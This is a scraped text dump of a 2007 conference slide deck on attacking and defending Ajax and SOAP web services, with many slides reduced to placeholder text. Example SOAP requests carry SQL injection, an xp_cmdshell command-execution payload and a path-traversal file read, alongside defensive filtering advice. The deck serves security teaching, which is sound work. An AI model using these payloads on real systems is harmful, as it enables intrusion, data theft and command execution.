SlideShare une entreprise Scribd logo
1  sur  116
Web 2.0 Hacking Defending Ajax & Web Services Shreeraj Shah Dubai, HITB 2007 5 th   April 2007
Who am I? ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],http://shreeraj.blogspot.com [email_address]
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Industry - Web 2.0
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Industry ,[object Object],[object Object],[object Object],[object Object],[object Object]
[object Object],[object Object],[object Object],Industry
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Web 2.0 Architecture HTML / JS / DOM RIA (Flash) Ajax Browser Internet Blog Web 2.0 Start  Database Authentication Application  Infrastructure Web Services End point Internet Mails News Documents Weather Bank/Trade RSS feeds
Ajax Flash / RIA HTML/CSS JavaScript Widget DOM SOAP XML-RPC HTTP/HTTPS JSON XML RSS/ATOM Text JS-Objects Custom SOA/WOA SaaS Web Services Ajax Traditional APIs REST Client Layer Protocol Layer Structure Layer Server Layer Web 2.0 Components
Technologies Web Server Static pages  HTML,HTM etc.. Web Client Scripted Web Engine Dynamic pages  ASP DHTML, PHP,CGI Etc.. DB X ASP.NET with  .Net  J2EE App Server Web Services Etc.. Application Servers And  Integrated Framework Internet DMZ Trusted  Internal/Corporate W E B S E R V I C E S Web Service Client SOAP, REST, XML-RPC
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Web 2.0 Security ,[object Object],[object Object],[object Object],[object Object],[object Object]
Web 2.0 Security ,[object Object],[object Object],[object Object],[object Object],[object Object]
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Impact of Web 2.0 ,[object Object],[object Object],[object Object],[object Object],[object Object]
Impact of Web 2.0 ,[object Object],Multiple sources (Urge for integrated information platform) Single place information (No urge for integration) (AI4) Information sharing Asynchronous & Cross-domains (proxy) Synchronous Postback Refresh and Redirect (AI3) Communication methods XML, JSON, JS Objects etc. HTML transfer  (AI2) Information structures SOAP, XML-RPC, REST etc. over HTTP & HTTPS HTTP & HTTPS (AI1) Protocols Web 2.0 Web 1.0 Changing dimension
Impact of Web 2.0 ,[object Object],Both server and client side exploitation Server side exploitation  (T4)  Exploitation ,[object Object],[object Object],Server side [Typical injections] (T3)  Vulnerabilities ,[object Object],[object Object],[object Object],Limited (T2)  Dependencies Scattered and multiple Structured (T1)  Entry points Web 2.0 Web 1.0 Changing dimension
Impact of Web 2.0 ,[object Object],Client-side analysis needed Focus on server-side only Code reviews Client-side with Ajax & Flash On the server-side [Difficult] Reverse engineering Difficult with Ajax and web services Easy after discovery Automated attacks Difficult with extensive Ajax Structured and simple Scanning Several streams Structured Enumeration Difficult with hidden calls Simple  Discovery Empowered with search Typical with "Host" and DNS Footprinting Web 2.0 Web 1.0 Changing dimension
Impact of Web 2.0 ,[object Object],Multiple places and scattered Structured and single place Secure coding Client side shift Only on server Logic shift Client side [incoming content] Server side Validations Complex DOM usage Simple DOM usage Browser security Multiple places [Mashups & RSS] Single place Owner of information Web 2.0 Web 1.0 Changing dimension
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Ajax basics ,[object Object],HTML / CSS JS / DOM XMLHttpRequest (XHR) Database / Resource XML / Middleware / Text Web Server Asynchronous  over HTTP(S)
Ajax - Sample ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Ajax attack points ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Ajax attack vectors ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Ajax fingerprinting ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Demo
Ajax enumeration ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Demo
Ajax Crawling ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Demo
Ajax Scanning ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Demo
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Ajax serialization issues ,[object Object],message = { from : "john@example.com", to : "jerry@victim.com", subject : "I am fine", body : "Long message here", showsubject : function(){document.write(this.subject)} }; XSS
Ajax serialization issues ,[object Object],[object Object],{"bookmarks":[{"Link":"www.example.com","Desc":"Interesting link"}]} new Array(“Laptop”, “Thinkpad”, “T60”, “Used”, “900$”, “It is great and I have used it for 2 years”)
Ajax and JS manipulation ,[object Object],[object Object],[object Object],[object Object],[object Object],Demo
Ajax and RSS injection ,[object Object],[object Object],[object Object],[object Object],Demo
Cross-domain calls ,[object Object],[object Object],[object Object],Demo
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Defending Ajax ,[object Object],[object Object],[object Object],[object Object],[object Object]
Defending Ajax ,[object Object],[object Object],[object Object],[object Object],[object Object]
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Transport Stack HTTP, HTTPS Access Stack WSDL,SOAP Discovery Stack UDDI, DISCO Security Stack WS-Security  Presentation Stack XML  Web services stack
Web Services Client HTTP POST SOAP Envelope Web Server 80/443 Web Services Engine Web Services Binaries Web Services Deployment Shell Web Services Code & Components User Controlled Vendor Controlled In Transit End Client Security!
Assessment strategies Web Services Risk Model Web Services Defense Controls Blackbox Assessment Whitebox Assessment
Risk - In transit  ,[object Object],[object Object],[object Object]
Risk - Web services Engine ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Web services Deployment - Risk ,[object Object],[object Object],[object Object],[object Object],[object Object]
Web services User code - Risk ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
wsches (Tool) Footprinting Discovery Public domain search Enumeration Manual Audit Auto Audit Defense wsFootprint wsDiscovery wsSearch wsEnum wsProxy wsAudit wsMod wsPawn wsKnight wsRook Download : http://net-square.com/wschess/
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Footprinting ,[object Object],[object Object],[object Object],[object Object],[object Object]
UDDI ,[object Object],[object Object],[object Object],[object Object],[object Object]
UDDI ,[object Object],[object Object],[object Object],[object Object],[object Object]
tModel Structure bindingTemplate Structure   businessService Structure businessEntity Structure Find UDDI APIs UDDI Demo
Web Service Discovery ,[object Object],[object Object],[object Object],[object Object],[object Object]
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Web Service Discovery ,[object Object],[object Object]
Web Service Search ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Demo
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Technology Identification ,[object Object],[object Object],[object Object],[object Object],[object Object]
Demo Application Web Services Location of WSDL
Technology Identification ,[object Object],[object Object],[object Object],.asmx – indicates  .Net server from MS
Technology Identification ,[object Object],[object Object],[object Object],C:gt;nc 192.168.11.2 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Tue, 28 Sep 2004 18:48:20 GMT X-Powered-By: ASP.NET Connection: Keep-Alive Content-Length: 7565 Content-Type: text/html Set-Cookie: ASPSESSIONIDSSSRQDRC=LMMPKHNAAOFDHMIHAODOJHCO; path=/ Cache-control: private
Technology Identification ,[object Object],C:gt;nc 192.168.11.2 80 HEAD /ws/dvds4less.asmx HTTP/1.0 HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 28 Sep 2004 18:50:09 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3026
WSDL Scanning/Enumeration ,[object Object],[object Object],[object Object]
WSDL ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Nodes of WSDL Data types Message Types Operations Access Binding Service
WSDL <Service> <service name=&quot;dvds4less&quot;> <port name=&quot;dvds4lessSoap&quot; binding=&quot;s0:dvds4lessSoap&quot;>   <soap:address location=&quot;http://192.168.11.2/ws/dvds4less.asmx&quot;/> </port> </service> Where the call is going to hit? It is where service is listening.
WSDL <portType> <portType name=&quot;dvds4lessSoap&quot;> <operation name=&quot;Intro&quot;> <input message=&quot;s0:IntroSoapIn&quot;/> <output message=&quot;s0:IntroSoapOut&quot;/> </operation> <operation name=&quot;getProductInfo&quot;> <input message=&quot;s0:getProductInfoSoapIn&quot;/> <output message=&quot;s0:getProductInfoSoapOut&quot;/> </operation> <operation name=&quot;getRebatesInfo&quot;> <input message=&quot;s0:getRebatesInfoSoapIn&quot;/> <output message=&quot;s0:getRebatesInfoSoapOut&quot;/> </operation> </portType> Methods one Can call
WSDL <Message> <portType name=&quot;dvds4lessSoap&quot;> <operation name=&quot;getProductInfo&quot;> <input message=&quot;s0:getProductInfoSoapIn&quot;/> <output message=&quot;s0:getProductInfoSoapOut&quot;/> </operation> </portType> <message name=&quot; getProductInfoSoapIn &quot;> <part name=&quot;parameters&quot; element=&quot;s0:getProductInfo&quot;/> </message> <message name=&quot; getProductInfoSoapOut &quot;> <part name=&quot;parameters&quot; element=&quot;s0:getProductInfoResponse&quot;/> </message>
WSDL <Types> <s:element name=&quot;getProductInfo&quot;> <s:complexType> <s:sequence> <s:element minOccurs=&quot;0&quot; maxOccurs=&quot;1&quot;  name=&quot;id&quot; type=&quot;s:string&quot; /> </s:sequence> </s:complexType> </s:element> <s:element name=&quot;getProductInfoResponse&quot;> <s:complexType> <s:sequence> <s:element minOccurs=&quot;0&quot; maxOccurs=&quot;1&quot;  name=&quot;getProductInfoResult&quot;  type=&quot;s:string&quot; /> <message name=&quot; getProductInfoSoapIn &quot;> <part name=&quot;parameters&quot; element=&quot;s0:getProductInfo&quot;/> </message> <message name=&quot; getProductInfoSoapOut &quot;> <part name=&quot;parameters&quot; element=&quot;s0:getProductInfoResponse&quot;/> </message>
WSDL Profile after Scan Demo String String getRebatesInfo String String getProductInfo String -No- Intro OUTPUT INPUT Methods
How it looks? Web Services Code OR Class Intro getProductInfo getRebatesInfo WSDL <PortType> <Service> <Message> <Types> Remote Invokes
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
AV 1 - XML poisoning ,[object Object],[object Object],[object Object],[object Object],[object Object]
XML poisoning ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
XML poisoning ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
XML poisoning ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
AV 2 - Parameter tampering & Fault code leakage   ,[object Object],[object Object],[object Object],Demo
SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getRebatesInfo xmlns=&quot;http://tempuri.org/&quot;> <fileinfo>abx.xyz</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method  Call Input to the method Demo Forcing Fault Code Source of Enumeration
SOAP response <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Could not find file &amp;quot; c:netpubwwrootebatesbx.xyz&amp;quot ;.</faultstring> <detail /> </soap:Fault> </soap:Body> </soap:Envelope> Path Enumeration Fault Code
AV 3 - SQL injection ,[object Object],[object Object],[object Object],[object Object],Demo
SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfo xmlns=&quot;http://tempuri.org/&quot;> <id>1</id> </getProductInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method  Call Input to the method
SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfoResponse xmlns=&quot;http://tempuri.org/&quot;> <getProductInfoResult>/(1)Finding Nemo($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> Product Information
SOAP response <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Cannot use empty object or  column names . Use a single space if necessary.</faultstring> <detail /> </soap:Fault> </soap:Body> Demo Indicates SQL Server Place for SQL Injection Fault Code
SOAP response <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfo xmlns=&quot;http://tempuri.org/&quot;> <id>1 or 1=1</id> </getProductInfo> </soap:Body> </soap:Envelope> Popular SQL Injection Fault Code
SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfoResponse xmlns=&quot;http://tempuri.org/&quot;> <getProductInfoResult> /(1)Finding Nemo($14.99)/ /(2)Bend it like Beckham($12.99)/ /(3)Doctor Zhivago($10.99)/ /(4)A Bug's Life($13.99)/ /(5)Lagaan($12.99)/ /(6)Monsoon Wedding($10.99)/ /(7)Lawrence of Arabia($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> Works!! Entire Table Is out
SOAP response <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfo xmlns=&quot;http://tempuri.org/&quot;> <id>1;EXEC master..xp_cmdshell 'dir c:> c:netpubwwrootsdir.txt'</id> </getProductInfo> </soap:Body> </soap:Envelope> Exploiting this Vulnerability Exploit code
SOAP request <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfoResponse xmlns=&quot;http://tempuri.org/&quot;> <getProductInfoResult>/(1)Finding Nemo($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> Works!! Looks Normal response
SOAP request But … Code got executed  Looks Normal response Got Admin via cmdshell
AV 4 – XPATH injection  ,[object Object],[object Object],[object Object],[object Object]
XPATH Injection - Basics ,[object Object],[object Object],[object Object]
XPATH – Vulnerable Code ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Attacking XPATH point ,[object Object],[object Object],[object Object],[object Object],[object Object],Demo
AV 5 – LDAP injection ,[object Object],[object Object],[object Object],[object Object],[object Object],Demo
AV 6 – File System access ,[object Object],[object Object],[object Object],[object Object],Demo
SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getRebatesInfo xmlns=&quot;http://tempuri.org/&quot;> <fileinfo>abx.xyz</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method  Call Input to the method Forcing Fault Code Source of Enumeration
SOAP response <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Could not find file &amp;quot; c:netpubwwrootebatesbx.xyz&amp;quot ;.</faultstring> <detail /> </soap:Fault> </soap:Body> </soap:Envelope> Path Enumeration Fault Code
SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getRebatesInfo xmlns=&quot;http://tempuri.org/&quot;> <fileinfo>../rebates.asp</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method  Call Input to the method Forcing file
SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getRebatesInfoResponse xmlns=&quot;http://tempuri.org/&quot;> <getRebatesInfoResult >&lt;%  '  file:  rebates.asp  '  date:  20-AUG-03  '  desc:  rebates listing  '  author:  nd  '  client:  dvds4less  'check if we have been called with a filename or without  loc = request.querystring(&quot;loc&quot;)  lenloc = len(loc)  if lenloc &gt; 0 then  ' we have been called with a filename  ' so print the rebate coupon%&gt;&lt;img  …………………… . </getRebatesInfoResult> </getRebatesInfoResponse> </soap:Body> </soap:Envelope> Parameter Temparing File Access to system
AV 7 – SOAP brute forcing  ,[object Object],[object Object],[object Object],[object Object]
AV 8 – Parameter overflow  ,[object Object],[object Object],[object Object],[object Object],[object Object]
AV 9 – Operating System access  ,[object Object],[object Object],[object Object],[object Object],[object Object]
AV 10 – Session hijacking  ,[object Object],[object Object],[object Object],[object Object],[object Object]
Other attacks ,[object Object],[object Object],[object Object]
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Defense 1 SOAP filtering ,[object Object],[object Object],[object Object],[object Object],[object Object]
IIS Web Server HTTP Stack .Net Web Services IIS Web Server wsRook (Filter) Web Services Client SOAP Envelope Reject Rules for SOAP Content filtering
.Net Web Services .asmx file IIS web server wsRook Web Services Client SOAP Input Envelope <soap:Body soap:encodingStyle=&quot;http://schemas.xmlsoap.org/soap/encoding/&quot;> <q1:getInput xmlns:q1=&quot;http://DefaultNamespace&quot;> <id xsi:type=&quot;xsd:string&quot;>12123</id> </q1:getInput> </soap:Body> DB <id xsi:type=&quot;xsd:string&quot;>12123</id> id=12123 Bal=$2500 <ns1:getInputReturn xsi:type=&quot;xsd:string&quot;> $2500 </ns1:getInputReturn> SOAP Output Envelope Content filtering
Defense 2 WSDL hardening ,[object Object],[object Object],[object Object],[object Object],[object Object]
Defense 3 Authentication & Authorization ,[object Object],[object Object],[object Object],[object Object]
Defense 4 Secure Coding ,[object Object],[object Object],[object Object],[object Object]
Defense 5 XML parsing ,[object Object],[object Object],[object Object]
Thanks! Email - shreeraj@net-square.com Blog - http://shreeraj.blogspot.com

Contenu connexe

Tendances

OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesSoftware Guru
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricksGarethHeyes
 
API Security Best Practices & Guidelines
API Security Best Practices & GuidelinesAPI Security Best Practices & Guidelines
API Security Best Practices & GuidelinesPrabath Siriwardena
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...Noppadol Songsakaew
 
Getting Started with API Security Testing
Getting Started with API Security TestingGetting Started with API Security Testing
Getting Started with API Security TestingSmartBear
 
Rest API Security - A quick understanding of Rest API Security
Rest API Security - A quick understanding of Rest API SecurityRest API Security - A quick understanding of Rest API Security
Rest API Security - A quick understanding of Rest API SecurityMohammed Fazuluddin
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
HTTP HOST header attacks
HTTP HOST header attacksHTTP HOST header attacks
HTTP HOST header attacksDefconRussia
 
OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)TzahiArabov
 
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)Marco Balduzzi
 
Different types of attacks in internet
Different types of attacks in internetDifferent types of attacks in internet
Different types of attacks in internetRohan Bharadwaj
 
Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Sagar M Parmar
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 

Tendances (20)

OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
 
API Security Best Practices & Guidelines
API Security Best Practices & GuidelinesAPI Security Best Practices & Guidelines
API Security Best Practices & Guidelines
 
Api security-testing
Api security-testingApi security-testing
Api security-testing
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: InjectionOwasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...
 
OWASP Top Ten in Practice
OWASP Top Ten in PracticeOWASP Top Ten in Practice
OWASP Top Ten in Practice
 
Getting Started with API Security Testing
Getting Started with API Security TestingGetting Started with API Security Testing
Getting Started with API Security Testing
 
Rest API Security - A quick understanding of Rest API Security
Rest API Security - A quick understanding of Rest API SecurityRest API Security - A quick understanding of Rest API Security
Rest API Security - A quick understanding of Rest API Security
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
HTTP HOST header attacks
HTTP HOST header attacksHTTP HOST header attacks
HTTP HOST header attacks
 
OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)
 
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
 
Different types of attacks in internet
Different types of attacks in internetDifferent types of attacks in internet
Different types of attacks in internet
 
Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Brute Force Attack
Brute Force AttackBrute Force Attack
Brute Force Attack
 
Bug Bounty 101
Bug Bounty 101Bug Bounty 101
Bug Bounty 101
 

En vedette

Java Web Services [4/5]: Java API for XML Web Services
Java Web Services [4/5]: Java API for XML Web ServicesJava Web Services [4/5]: Java API for XML Web Services
Java Web Services [4/5]: Java API for XML Web ServicesIMC Institute
 
Restful Web Services
Restful Web ServicesRestful Web Services
Restful Web ServicesAngelin R
 
